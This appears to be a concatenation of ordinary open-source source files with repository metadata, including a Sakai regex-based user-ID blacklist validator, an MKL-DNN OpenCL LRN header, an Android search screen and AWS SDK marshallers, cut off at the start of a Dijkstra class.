(strcmp(name, kPropMinimumSize) == 0) { return Size(1, 1); } return Control::GetProperty(name); } } // namespace Diadem
Uncommon/diadem
NativeCarbon.cc
C++
apache-2.0
13,277
/********************************************************************************** * $URL: https://source.sakaiproject.org/svn/providers/tags/sakai-10.6/jldap/src/java/edu/amc/sakai/user/RegexpBlacklistEidValidator.java $ * $Id: RegexpBlacklistEidValidator.java 105079 2012-02-24 23:08:11Z ottenhoff@longsight.com $ *********************************************************************************** * * Copyright (c) 2003, 2004, 2005, 2006, 2008 The Sakai Foundation * * Licensed under the Educational Community License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.opensource.org/licenses/ECL-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * **********************************************************************************/ package edu.amc.sakai.user; import java.util.Collection; import java.util.HashSet; import java.util.regex.Pattern; import org.apache.commons.lang.StringUtils; /** * Implements <code>User</code> EID "validation" by checking * for matches in a configurable blacklist, entries in which * are treated as regular expressions. * * @author dmccallum * */ public class RegexpBlacklistEidValidator implements EidValidator { private Collection<Pattern> eidBlacklist; private int regexpFlags; /** * Requires minimally valid and non-blacklisted EIDs. This * is tested by calling {@link #isMinimallyValidEid(String)} * and {@link #isBlackListedEid(String)}. Theoretically, then, * a subclass could override {@link #isMinimallyValidEid(String)} * to, for example, allow any non-null EID but allow any * EID not described by the current blacklist. */ public boolean isSearchableEid(String eid) { return isMinimallyValidEid(eid) && !(isBlackListedEid(eid)); } /** * As implemented requires that the given ID be non-null * and non-whitespace. * * @param eid and EID to test * @return <code>true<code> unless the given String is * null or entirely whitespace */ protected boolean isMinimallyValidEid(String eid) { return StringUtils.isNotBlank(eid); } /** * Encapsulates the logic for actually checking a user EID * against the configured blacklist. If no blacklist is * configured, will return <code>false</code> * * @return <code>true</code> if the eid matches a configured * blacklist pattern. <code>false</code> otherwise (e.g. * if no configured blacklist). */ protected boolean isBlackListedEid(String eid) { if ( eidBlacklist == null || eidBlacklist.isEmpty() ) { return false; } for ( Pattern pattern : eidBlacklist ) { if ( pattern.matcher(eid).matches() ) { return true; } } return false; } /** * Access the String representation of blacklisted User EID * regexps configured on this object. The returned collection * may or may not be equivalent to the collection passed to * {@link #setEidBlacklist(Collection)} * * @return */ public Collection<String> getEidBlacklist() { return eidBlacklistAsStrings(); } private Collection<String> eidBlacklistAsStrings() { if ( eidBlacklist == null || eidBlacklist.isEmpty() ) { return new HashSet<String>(0); } HashSet<String> patternStrings = new HashSet<String>(eidBlacklist.size()); for ( Pattern pattern : eidBlacklist ) { patternStrings.add(pattern.pattern()); } return patternStrings; } /** * Converts the given collection of Strings into a collection * of {@Link Pattern}s and caches the latter for evaluation * by {@link #isSearchableEid(String)}. Configure {link Pattern} * evaluation flags with {@link #setRegexpFlags(int)}. * * @param eidBlacklist a collection of Strings to be compiled * into {@link Patterns}. May be <code>null</code>, which * will have the same semantics as an empty collection. */ public void setEidBlacklist(Collection<String> eidBlacklist) { this.eidBlacklist = eidBlacklistAsPatterns(eidBlacklist); } private Collection<Pattern> eidBlacklistAsPatterns( Collection<String> eidBlacklistStrings) { if ( eidBlacklistStrings == null || eidBlacklistStrings.isEmpty() ) { return new HashSet<Pattern>(0); } HashSet<Pattern> patterns = new HashSet<Pattern>(eidBlacklistStrings.size()); for ( String patternString : eidBlacklistStrings ) { Pattern pattern = Pattern.compile(patternString, regexpFlags); patterns.add(pattern); } return patterns; } /** * Access the configured set of {@link Pattern} matching * flags. Defaults to zero. * * @see Pattern#compile(String, int) * @return a bitmask of {@link Pattern} matching flags */ public int getRegexpFlags() { return regexpFlags; } /** * Assign a bitmask for {@link Pattern} matching behaviors. * Be sure to set this property prior to invoking * {@link #setEidBlacklist(Collection)}. The cached {@link Patterns} * will <code>not</code> be recompiled as a side-effect of * invoking this method. * * @param regexpFlags */ public void setRegexpFlags(int regexpFlags) { this.regexpFlags = regexpFlags; } }
eemirtekin/Sakai-10.6-TR
providers/jldap/src/java/edu/amc/sakai/user/RegexpBlacklistEidValidator.java
Java
apache-2.0
5,398
/* * JEF - Copyright 2009-2010 Jiyi (mr.jiyi@gmail.com) * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package jef.dynamic; import java.io.File; import java.io.IOException; import jef.tools.Assert; import jef.tools.IOUtils; public interface ClassSource { String getName(); byte[] getData(); long getLastModified(); public static class FileClassSource implements ClassSource{ private File file; private String name; private long lastModified; public FileClassSource(File file,String className){ Assert.isTrue(file.exists()); this.name=className; this.file=file; this.lastModified=file.lastModified(); } public byte[] getData() { try { return IOUtils.toByteArray(file); } catch (IOException e) { throw new RuntimeException(e); } } public long getLastModified() { return lastModified; } public String getName() { return name; } @Override public String toString() { return name+"\t"+file.getAbsolutePath(); } } }
xuse/ef-others
common-misc/src/main/java/jef/dynamic/ClassSource.java
Java
apache-2.0
1,514
/******************************************************************************* * Copyright 2019 Intel Corporation * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *******************************************************************************/ #ifndef OCL_REF_LRN_HPP #define OCL_REF_LRN_HPP #include "common/c_types_map.hpp" #include "common/nstl.hpp" #include "common/type_helpers.hpp" #include "ocl/cl_engine.hpp" #include "ocl/jit_primitive_conf.hpp" #include "ocl/ocl_lrn_pd.hpp" #include "ocl/ocl_stream.hpp" #include "ocl/ocl_utils.hpp" extern const char *ref_lrn_kernel; namespace mkldnn { namespace impl { namespace ocl { template <impl::data_type_t data_type> struct ref_lrn_fwd_t : public primitive_t { struct pd_t : public ocl_lrn_fwd_pd_t { pd_t(engine_t *engine, const lrn_desc_t *adesc, const primitive_attr_t *attr, const lrn_fwd_pd_t *hint_fwd_pd) : ocl_lrn_fwd_pd_t(engine, adesc, attr, hint_fwd_pd) {} virtual ~pd_t() {} DECLARE_COMMON_PD_T("ref:any", ref_lrn_fwd_t); status_t init() { assert(engine()->kind() == engine_kind::gpu); auto *cl_engine = utils::downcast<cl_engine_t *>(engine()); bool ok = true && utils::one_of(desc()->prop_kind, prop_kind::forward_inference, prop_kind::forward_training) && utils::one_of(desc()->alg_kind, alg_kind::lrn_across_channels, alg_kind::lrn_within_channel) && utils::everyone_is( data_type, desc()->data_desc.data_type) && attr()->has_default_values() && IMPLICATION(data_type == data_type::f16, cl_engine->mayiuse(cl_device_ext_t::khr_fp16)); if (!ok) return status::unimplemented; if (desc_.prop_kind == prop_kind::forward_training) { ws_md_ = *src_md(); } gws[0] = H() * W(); gws[1] = C(); gws[2] = MB(); ocl_utils::get_optimal_lws(gws, lws, 3); return status::success; } size_t gws[3]; size_t lws[3]; }; ref_lrn_fwd_t(const pd_t *apd) : primitive_t(apd) {} ~ref_lrn_fwd_t() = default; virtual status_t init() override { using namespace alg_kind; auto jit = ocl_jit_t(ref_lrn_kernel); status_t status = status::success; const auto *desc = pd()->desc(); jit.set_data_type(desc->data_desc.data_type); jit.define_int("LRN_FWD", 1); if (desc->prop_kind == prop_kind::forward_training) jit.define_int("IS_TRAINING", 1); switch (desc->alg_kind) { case lrn_across_channels: jit.define_int("ACROSS_CHANNEL", 1); break; case lrn_within_channel: jit.define_int("WITHIN_CHANNEL", 1); break; default: status = status::unimplemented; } if (status != status::success) return status; const memory_desc_wrapper src_d(pd()->src_md()); const memory_desc_wrapper dst_d(pd()->dst_md()); const int ndims = src_d.ndims(); jit.define_int("NDIMS", ndims); jit.define_int("MB", pd()->MB()); jit.define_int("IC", pd()->C()); jit.define_int("IH", pd()->H()); jit.define_int("IW", pd()->W()); const uint32_t round_norm_size = (desc->local_size / 2) * 2 + 1; uint32_t num_elements = round_norm_size * round_norm_size; if (desc->alg_kind == lrn_across_channels) { num_elements = round_norm_size; } const float num_element_div = 1.f / (float)num_elements; const auto padding = (desc->local_size - 1) / 2; jit.define_float("NUM_ELEMENTS_DIV", num_element_div); jit.define_int("PADDING", padding); jit.define_int("LOCAL_SIZE", desc->local_size); jit.define_float("LRN_ALPHA", desc->lrn_alpha); jit.define_float("LRN_BETA", desc->lrn_beta); jit.define_float("LRN_K", desc->lrn_k); jit.define_int("GWS_MB", 2); jit.define_int("GWS_IC", 1); jit.define_int("GWS_HW", 0); jit_offsets jit_off; set_offsets(src_d, jit_off.src_off); set_offsets(dst_d, jit_off.dst_off); def_offsets(jit_off.src_off, jit, "SRC", ndims); def_offsets(jit_off.dst_off, jit, "DST", ndims); status = jit.build(engine()); if (status != status::success) return status; kernel_ = jit.get_kernel("ref_lrn_fwd"); if (!kernel_) return status::runtime_error; return status::success; } virtual status_t execute(const exec_ctx_t &ctx) const override { return execute_forward(ctx); } private: status_t execute_forward(const exec_ctx_t &ctx) const; const pd_t *pd() const { return (const pd_t *)primitive_t::pd(); } ocl_kernel_t kernel_; }; template <impl::data_type_t data_type> struct ref_lrn_bwd_t : public primitive_t { struct pd_t : public ocl_lrn_bwd_pd_t { pd_t(engine_t *engine, const lrn_desc_t *adesc, const primitive_attr_t *attr, const lrn_fwd_pd_t *hint_fwd_pd) : ocl_lrn_bwd_pd_t(engine, adesc, attr, hint_fwd_pd) {} virtual ~pd_t() {} DECLARE_COMMON_PD_T("ref:any", ref_lrn_bwd_t); status_t init() { assert(engine()->kind() == engine_kind::gpu); auto *cl_engine = utils::downcast<cl_engine_t *>(engine()); bool ok = true && utils::one_of(desc()->prop_kind, prop_kind::backward_data) && utils::one_of(desc()->alg_kind, alg_kind::lrn_across_channels, alg_kind::lrn_within_channel) && utils::everyone_is( data_type, desc()->data_desc.data_type) && mkldnn::impl::operator==(desc()->data_desc, desc()->diff_data_desc) && attr()->has_default_values() && IMPLICATION(data_type == data_type::f16, cl_engine->mayiuse(cl_device_ext_t::khr_fp16)); if (!ok) return status::unimplemented; ws_md_ = *src_md(); if (!compare_ws(hint_fwd_pd_)) return status::unimplemented; gws[0] = H() * W(); gws[1] = C(); gws[2] = MB(); ocl_utils::get_optimal_lws(gws, lws, 3); return status::success; } size_t gws[3]; size_t lws[3]; }; ref_lrn_bwd_t(const pd_t *apd) : primitive_t(apd) {} ~ref_lrn_bwd_t() = default; virtual status_t init() override { using namespace alg_kind; auto jit = ocl_jit_t(ref_lrn_kernel); status_t status = status::success; const auto *desc = pd()->desc(); jit.set_data_type(desc->data_desc.data_type); jit.define_int("LRN_BWD", 1); switch (desc->alg_kind) { case lrn_across_channels: jit.define_int("ACROSS_CHANNEL", 1); break; case lrn_within_channel: jit.define_int("WITHIN_CHANNEL", 1); break; default: status = status::unimplemented; } if (status != status::success) return status; const memory_desc_wrapper src_d(pd()->src_md()); const memory_desc_wrapper diff_dst_d(pd()->diff_dst_md()); const int ndims = src_d.ndims(); jit.define_int("NDIMS", ndims); jit.define_int("MB", pd()->MB()); jit.define_int("IC", pd()->C()); jit.define_int("IH", pd()->H()); jit.define_int("IW", pd()->W()); const uint32_t round_norm_size = (desc->local_size / 2) * 2 + 1; uint32_t num_elements = round_norm_size * round_norm_size; if (desc->alg_kind == lrn_across_channels) { num_elements = round_norm_size; } const float num_element_div = 1.f / (float)num_elements; const auto padding = (desc->local_size - 1) / 2; jit.define_float("NUM_ELEMENTS_DIV", num_element_div); jit.define_int("PADDING", padding); jit.define_int("LOCAL_SIZE", desc->local_size); jit.define_float("LRN_ALPHA", desc->lrn_alpha); jit.define_float("LRN_BETA", desc->lrn_beta); jit.define_float("LRN_K", desc->lrn_k); jit.define_int("GWS_MB", 2); jit.define_int("GWS_IC", 1); jit.define_int("GWS_HW", 0); jit_offsets jit_off; set_offsets(src_d, jit_off.src_off); set_offsets(diff_dst_d, jit_off.dst_off); def_offsets(jit_off.src_off, jit, "SRC", ndims); def_offsets(jit_off.dst_off, jit, "DST", ndims); status = jit.build(engine()); if (status != status::success) return status; kernel_ = jit.get_kernel("ref_lrn_bwd"); if (!kernel_) return status::runtime_error; return status::success; } virtual status_t execute(const exec_ctx_t &ctx) const override { return execute_backward(ctx); } private: status_t execute_backward(const exec_ctx_t &ctx) const; const pd_t *pd() const { return (const pd_t *)primitive_t::pd(); } ocl_kernel_t kernel_; }; } // namespace ocl } // namespace impl } // namespace mkldnn #endif
mlperf/training_results_v0.7
Fujitsu/benchmarks/resnet/implementations/implementation_open/mxnet/3rdparty/mkldnn/src/ocl/ref_lrn.hpp
C++
apache-2.0
10,061
package com.zhanghao.skinexpert.beans; /** * Created by RockGao on 2016/12/23. */ /** * 测试问题的bean类 */ public class QuestionBean { private String title; private String score; public QuestionBean() { } public QuestionBean(String title, String score) { this.title = title; this.score = score; } public String getTitle() { return title; } public void setTitle(String title) { this.title = title; } public String getScore() { return score; } public void setScore(String score) { this.score = score; } }
BMambaYe/SkinExpert
app/src/main/java/com/zhanghao/skinexpert/beans/QuestionBean.java
Java
apache-2.0
626
package app.logic.activity.search; import java.util.ArrayList; import java.util.List; import org.QLConstant; import org.ql.activity.customtitle.ActActivity; import org.ql.utils.QLToastUtils; import com.facebook.drawee.view.SimpleDraweeView; import com.squareup.picasso.Picasso; import android.R.integer; import android.content.Intent; import android.net.Uri; import android.os.Bundle; import android.os.Handler; import android.os.Looper; import android.os.Message; import android.text.Editable; import android.text.TextUtils; import android.text.TextWatcher; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.view.View.OnClickListener; import android.view.Window; import android.widget.AdapterView; import android.widget.AdapterView.OnItemClickListener; import android.widget.Button; import android.widget.EditText; import android.widget.ImageView; import android.widget.RelativeLayout; import android.widget.TextView; import app.config.http.HttpConfig; import app.logic.activity.notice.DefaultNoticeActivity; import app.logic.activity.org.DPMListActivity; import app.logic.activity.user.PreviewFriendsInfoActivity; import app.logic.adapter.YYBaseListAdapter; import app.logic.controller.AnnounceController; import app.logic.controller.OrganizationController; import app.logic.controller.UserManagerController; import app.logic.pojo.NoticeInfo; import app.logic.pojo.OrganizationInfo; import app.logic.pojo.SearchInfo; import app.logic.pojo.SearchItemInfo; import app.logic.pojo.UserInfo; import app.logic.pojo.YYChatSessionInfo; import app.utils.common.FrescoImageShowThumb; import app.utils.common.Listener; import app.utils.helpers.ChartHelper; import app.view.YYListView; import app.yy.geju.R; /* * GZYY 2016-12-6 下午6:05:07 * author: zsz */ public class SearchActivity extends ActActivity { private UserInfo userInfo; private EditText search_edt; private RelativeLayout search_default_rl; private YYListView listView; private LayoutInflater inflater; private List<SearchItemInfo> datas = new ArrayList<SearchItemInfo>(); private YYBaseListAdapter<SearchItemInfo> mAdapter = new YYBaseListAdapter<SearchItemInfo>(this) { @Override public View createView(int position, View convertView, ViewGroup parent) { if (getItemViewType(position) == 2) { if (convertView == null) { convertView = inflater.inflate(R.layout.item_search_listview_org, null); saveView("item_iv", R.id.item_iv, convertView); saveView("item_name_tv", R.id.item_name_tv, convertView); saveView("item_title", R.id.item_title, convertView); } SearchItemInfo info = getItem(position); if (info != null) { SimpleDraweeView imageView = getViewForName("item_iv", convertView); // imageView.setImageURI(HttpConfig.getUrl(info.getOrgDatas().getOrg_logo_url())); FrescoImageShowThumb.showThrumb(Uri.parse(HttpConfig.getUrl(info.getOrgDatas().getOrg_logo_url())),imageView); // Picasso.with(SearchActivity.this).load(HttpConfig.getUrl(info.getOrgDatas().getOrg_logo_url())).fit().centerCrop().into(imageView); setTextToViewText(info.getOrgDatas().getOrg_name(), "item_name_tv", convertView); TextView titleTv = getViewForName("item_title", convertView); titleTv.setText("格局"); titleTv.setVisibility(info.isTitleStatus() ? View.VISIBLE : View.GONE); } } else if (getItemViewType(position) == 1) { if (convertView == null) { convertView = inflater.inflate(R.layout.item_search_listview_org, null); saveView("item_iv", R.id.item_iv, convertView); saveView("item_name_tv", R.id.item_name_tv, convertView); saveView("item_title", R.id.item_title, convertView); } SearchItemInfo info = getItem(position); if (info != null) { setImageToImageViewCenterCrop(HttpConfig.getUrl(info.getNoticeDatas().getMsg_cover()), "item_iv", -1, convertView); setTextToViewText(info.getNoticeDatas().getMsg_title(), "item_name_tv", convertView); TextView titleTv = getViewForName("item_title", convertView); titleTv.setText("公告"); titleTv.setVisibility(info.isTitleStatus() ? View.VISIBLE : View.GONE); } } else { if (convertView == null) { convertView = inflater.inflate(R.layout.item_search_listview_message, null); saveView("item_iv", R.id.item_iv, convertView); saveView("item_name_tv", R.id.item_name_tv, convertView); saveView("item_title", R.id.item_title, convertView); saveView("item_centent_tv", R.id.item_centent_tv, convertView); } SearchItemInfo info = getItem(position); if (info != null) { setImageToImageViewCenterCrop(HttpConfig.getUrl(info.getChatDatas().getPicture_url()), "item_iv", -1, convertView); if(info.getChatDatas().getFriend_name()!=null && !TextUtils.isEmpty(info.getChatDatas().getFriend_name())){ setTextToViewText(info.getChatDatas().getFriend_name(), "item_name_tv", convertView); }else{ setTextToViewText(info.getChatDatas().getNickName(), "item_name_tv", convertView); } TextView titleTv = getViewForName("item_title", convertView); titleTv.setText("联系人"); titleTv.setVisibility(info.isTitleStatus() ? View.VISIBLE : View.GONE); } } return convertView; } /** * 0是对话消息,1是公告,2是组织 */ public int getItemViewType(int position) { SearchItemInfo info = getItem(position); if (info.getOrgDatas() != null) { return 2; } if (info.getNoticeDatas() != null) { return 1; } return 0; } public int getViewTypeCount() { return 3; } }; @Override protected void onCreate(Bundle savedInstanceState) { // TODO Auto-generated method stub super.onCreate(savedInstanceState); requestWindowFeature(Window.FEATURE_NO_TITLE); setContentView(R.layout.activity_search); userInfo = UserManagerController.getCurrUserInfo(); inflater = LayoutInflater.from(this); findViewById(R.id.left_iv).setOnClickListener(new OnClickListener() { @Override public void onClick(View v) { finish(); } }); initView(); addListener(); } private void initView() { search_edt = (EditText) findViewById(R.id.search_edt); search_default_rl = (RelativeLayout) findViewById(R.id.search_default_rl); listView = (YYListView) findViewById(R.id.listView); listView.setPullLoadEnable(false, true); listView.setPullRefreshEnable(false); listView.setAdapter(mAdapter); } private void addListener() { search_edt.addTextChangedListener(new TextWatcher() { @Override public void onTextChanged(CharSequence s, int start, int before, int count) { if (!TextUtils.isEmpty(s.toString())) { getData(s.toString()); } else { search_default_rl.setVisibility(View.VISIBLE); listView.setVisibility(View.GONE); } } @Override public void beforeTextChanged(CharSequence s, int start, int count, int after) { // TODO Auto-generated method stub } @Override public void afterTextChanged(Editable s) { // TODO Auto-generated method stub } }); listView.setOnItemClickListener(new OnItemClickListener() { @Override public void onItemClick(AdapterView<?> parent, View view, int position, long id) { SearchItemInfo info = datas.get(position - 1); if (info == null) { return; } if (info.getOrgDatas() != null) { Intent intent = new Intent(SearchActivity.this, DPMListActivity.class); intent.putExtra(DPMListActivity.kORG_ID, info.getOrgDatas().getOrg_id()); intent.putExtra(DPMListActivity.kORG_NAME, info.getOrgDatas().getOrg_name()); startActivity(intent); } else if (info.getNoticeDatas() != null) { startActivity(new Intent(SearchActivity.this, DefaultNoticeActivity.class).putExtra(DefaultNoticeActivity.NOTICE_ID, info.getNoticeDatas().getMsg_id())); } else { String tagerIdString = info.getChatDatas().getWp_other_info_id(); if (QLConstant.client_id.equals(tagerIdString)) { QLToastUtils.showToast(SearchActivity.this, "该用户是自己"); return; } // ChartHelper.startChart(SearchActivity.this, info.getChatDatas().getWp_other_info_id(), ""); Intent openFriendDetailsIntent = new Intent(SearchActivity.this, PreviewFriendsInfoActivity.class); openFriendDetailsIntent.putExtra(PreviewFriendsInfoActivity.kFROM_CHART_ACTIVITY, false); openFriendDetailsIntent.putExtra(PreviewFriendsInfoActivity.kUSER_MEMBER_ID, info.getChatDatas().getWp_other_info_id()); startActivity(openFriendDetailsIntent); } } }); } private synchronized void getData(String keyword) { UserManagerController.getSearchAllMessage(this, keyword, new Listener<Integer, SearchInfo>() { @Override public void onCallBack(Integer status, SearchInfo reply) { if (reply != null) { datas.clear(); int titleStatus = 0; if (reply.getAssociation() != null) { for (OrganizationInfo info : reply.getAssociation()) { SearchItemInfo itemInfo = new SearchItemInfo(); itemInfo.setOrgDatas(info); datas.add(itemInfo); itemInfo.setTitleStatus(titleStatus == 0 ? true : false); titleStatus = 1; } } titleStatus = 0; if (reply.getMessage() != null) { for (NoticeInfo info : reply.getMessage()) { SearchItemInfo itemInfo = new SearchItemInfo(); itemInfo.setNoticeDatas(info); datas.add(itemInfo); itemInfo.setTitleStatus(titleStatus == 0 ? true : false); titleStatus = 1; } } titleStatus = 0; if (reply.getMember() != null) { for (YYChatSessionInfo info : reply.getMember()) { SearchItemInfo itemInfo = new SearchItemInfo(); itemInfo.setChatDatas(info); datas.add(itemInfo); itemInfo.setTitleStatus(titleStatus == 0 ? true : false); titleStatus = 1; } } mAdapter.setDatas(datas); if (datas.size() > 0) { search_default_rl.setVisibility(View.GONE); listView.setVisibility(View.VISIBLE); } else { search_default_rl.setVisibility(View.VISIBLE); listView.setVisibility(View.GONE); } } } }); } }
Zhangsongsong/GraduationPro
毕业设计/code/android/YYFramework/src/app/logic/activity/search/SearchActivity.java
Java
apache-2.0
12,596
/* * Copyright 2017-2022 Amazon.com, Inc. or its affiliates. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"). You may not use this file except in compliance with * the License. A copy of the License is located at * * http://aws.amazon.com/apache2.0 * * or in the "license" file accompanying this file. This file is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR * CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions * and limitations under the License. */ package com.amazonaws.services.globalaccelerator.model.transform; import javax.annotation.Generated; import com.amazonaws.SdkClientException; import com.amazonaws.Request; import com.amazonaws.http.HttpMethodName; import com.amazonaws.services.globalaccelerator.model.*; import com.amazonaws.transform.Marshaller; import com.amazonaws.protocol.*; import com.amazonaws.protocol.Protocol; import com.amazonaws.annotation.SdkInternalApi; /** * WithdrawByoipCidrRequest Marshaller */ @Generated("com.amazonaws:aws-java-sdk-code-generator") @SdkInternalApi public class WithdrawByoipCidrRequestProtocolMarshaller implements Marshaller<Request<WithdrawByoipCidrRequest>, WithdrawByoipCidrRequest> { private static final OperationInfo SDK_OPERATION_BINDING = OperationInfo.builder().protocol(Protocol.AWS_JSON).requestUri("/") .httpMethodName(HttpMethodName.POST).hasExplicitPayloadMember(false).hasPayloadMembers(true) .operationIdentifier("GlobalAccelerator_V20180706.WithdrawByoipCidr").serviceName("AWSGlobalAccelerator").build(); private final com.amazonaws.protocol.json.SdkJsonProtocolFactory protocolFactory; public WithdrawByoipCidrRequestProtocolMarshaller(com.amazonaws.protocol.json.SdkJsonProtocolFactory protocolFactory) { this.protocolFactory = protocolFactory; } public Request<WithdrawByoipCidrRequest> marshall(WithdrawByoipCidrRequest withdrawByoipCidrRequest) { if (withdrawByoipCidrRequest == null) { throw new SdkClientException("Invalid argument passed to marshall(...)"); } try { final ProtocolRequestMarshaller<WithdrawByoipCidrRequest> protocolMarshaller = protocolFactory.createProtocolMarshaller(SDK_OPERATION_BINDING, withdrawByoipCidrRequest); protocolMarshaller.startMarshalling(); WithdrawByoipCidrRequestMarshaller.getInstance().marshall(withdrawByoipCidrRequest, protocolMarshaller); return protocolMarshaller.finishMarshalling(); } catch (Exception e) { throw new SdkClientException("Unable to marshall request to JSON: " + e.getMessage(), e); } } }
aws/aws-sdk-java
aws-java-sdk-globalaccelerator/src/main/java/com/amazonaws/services/globalaccelerator/model/transform/WithdrawByoipCidrRequestProtocolMarshaller.java
Java
apache-2.0
2,762
/* * Jicofo, the Jitsi Conference Focus. * * Copyright @ 2015-Present 8x8, Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.jitsi.protocol.xmpp.util; import org.jetbrains.annotations.*; import org.jitsi.xmpp.extensions.jingle.*; import java.util.*; /** * Class contains utilities specific to transport signaling in Jitsi Meet * conferences. * * @author Pawel Domas */ public class TransportSignaling { /** * Merges source transport into destination by copying information * important for Jitsi Meet transport signaling. * @param dst destination <tt>IceUdpTransportPacketExtension</tt> * @param src source <tt>IceUdpTransportPacketExtension</tt> from which * all relevant information will be merged into <tt>dst</tt> */ static public void mergeTransportExtension( @NotNull IceUdpTransportPacketExtension dst, @NotNull IceUdpTransportPacketExtension src) { // Attributes for (String attribute : src.getAttributeNames()) { dst.setAttribute(attribute, src.getAttribute(attribute)); } // RTCP-MUX if (src.isRtcpMux() && !dst.isRtcpMux()) { dst.addChildExtension(new IceRtcpmuxPacketExtension()); } // Candidates for (CandidatePacketExtension c : src.getCandidateList()) { dst.addCandidate(c); } // DTLS fingerprint DtlsFingerprintPacketExtension srcDtls = src.getFirstChildOfType(DtlsFingerprintPacketExtension.class); if (srcDtls != null) { // Remove the current one if any DtlsFingerprintPacketExtension dstDtls = dst.getFirstChildOfType( DtlsFingerprintPacketExtension.class); if (dstDtls != null) { dst.removeChildExtension(dstDtls); } // Set the fingerprint from the source dst.addChildExtension(srcDtls); } } }
jitsi/jicofo
src/main/java/org/jitsi/protocol/xmpp/util/TransportSignaling.java
Java
apache-2.0
2,564
/* * Copyright 2014-2019 Amazon.com, Inc. or its affiliates. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"). You may not use this file except in compliance with * the License. A copy of the License is located at * * http://aws.amazon.com/apache2.0 * * or in the "license" file accompanying this file. This file is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR * CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions * and limitations under the License. */ package com.amazonaws.services.codedeploy.model.transform; import java.math.*; import javax.annotation.Generated; import com.amazonaws.services.codedeploy.model.*; import com.amazonaws.transform.SimpleTypeJsonUnmarshallers.*; import com.amazonaws.transform.*; import com.fasterxml.jackson.core.JsonToken; import static com.fasterxml.jackson.core.JsonToken.*; /** * BatchGetOnPremisesInstancesResult JSON Unmarshaller */ @Generated("com.amazonaws:aws-java-sdk-code-generator") public class BatchGetOnPremisesInstancesResultJsonUnmarshaller implements Unmarshaller<BatchGetOnPremisesInstancesResult, JsonUnmarshallerContext> { public BatchGetOnPremisesInstancesResult unmarshall(JsonUnmarshallerContext context) throws Exception { BatchGetOnPremisesInstancesResult batchGetOnPremisesInstancesResult = new BatchGetOnPremisesInstancesResult(); int originalDepth = context.getCurrentDepth(); String currentParentElement = context.getCurrentParentElement(); int targetDepth = originalDepth + 1; JsonToken token = context.getCurrentToken(); if (token == null) token = context.nextToken(); if (token == VALUE_NULL) { return batchGetOnPremisesInstancesResult; } while (true) { if (token == null) break; if (token == FIELD_NAME || token == START_OBJECT) { if (context.testExpression("instanceInfos", targetDepth)) { context.nextToken(); batchGetOnPremisesInstancesResult.setInstanceInfos(new ListUnmarshaller<InstanceInfo>(InstanceInfoJsonUnmarshaller.getInstance()) .unmarshall(context)); } } else if (token == END_ARRAY || token == END_OBJECT) { if (context.getLastParsedParentElement() == null || context.getLastParsedParentElement().equals(currentParentElement)) { if (context.getCurrentDepth() <= originalDepth) break; } } token = context.nextToken(); } return batchGetOnPremisesInstancesResult; } private static BatchGetOnPremisesInstancesResultJsonUnmarshaller instance; public static BatchGetOnPremisesInstancesResultJsonUnmarshaller getInstance() { if (instance == null) instance = new BatchGetOnPremisesInstancesResultJsonUnmarshaller(); return instance; } }
jentfoo/aws-sdk-java
aws-java-sdk-codedeploy/src/main/java/com/amazonaws/services/codedeploy/model/transform/BatchGetOnPremisesInstancesResultJsonUnmarshaller.java
Java
apache-2.0
3,067
/* * Copyright (C) 2014-2022 Philip Helger (www.helger.com) * philip[at]helger[dot]com * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.helger.graph.algo; import java.util.function.ToIntFunction; import javax.annotation.Nonnegative; import javax.annotation.Nonnull; import javax.annotation.Nullable; import javax.annotation.concurrent.Immutable; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import com.helger.commons.ValueEnforcer; import com.helger.commons.annotation.Nonempty; import com.helger.commons.annotation.ReturnsMutableCopy; import com.helger.commons.collection.impl.CommonsArrayList; import com.helger.commons.collection.impl.CommonsLinkedHashMap; import com.helger.commons.collection.impl.CommonsLinkedHashSet; import com.helger.commons.collection.impl.ICommonsList; import com.helger.commons.collection.impl.ICommonsOrderedMap; import com.helger.commons.collection.impl.ICommonsOrderedSet; import com.helger.commons.debug.GlobalDebug; import com.helger.commons.lang.GenericReflection; import com.helger.graph.IMutableBaseGraph; import com.helger.graph.IMutableBaseGraphNode; import com.helger.graph.IMutableBaseGraphRelation; import com.helger.graph.IMutableDirectedGraphNode; import com.helger.graph.IMutableDirectedGraphRelation; /** * Find the shortest path between 2 graph nodes, using Dijsktra's algorithm * * @author Philip Helger */ public final class Dijkstra { private static final Logger LOGGER = 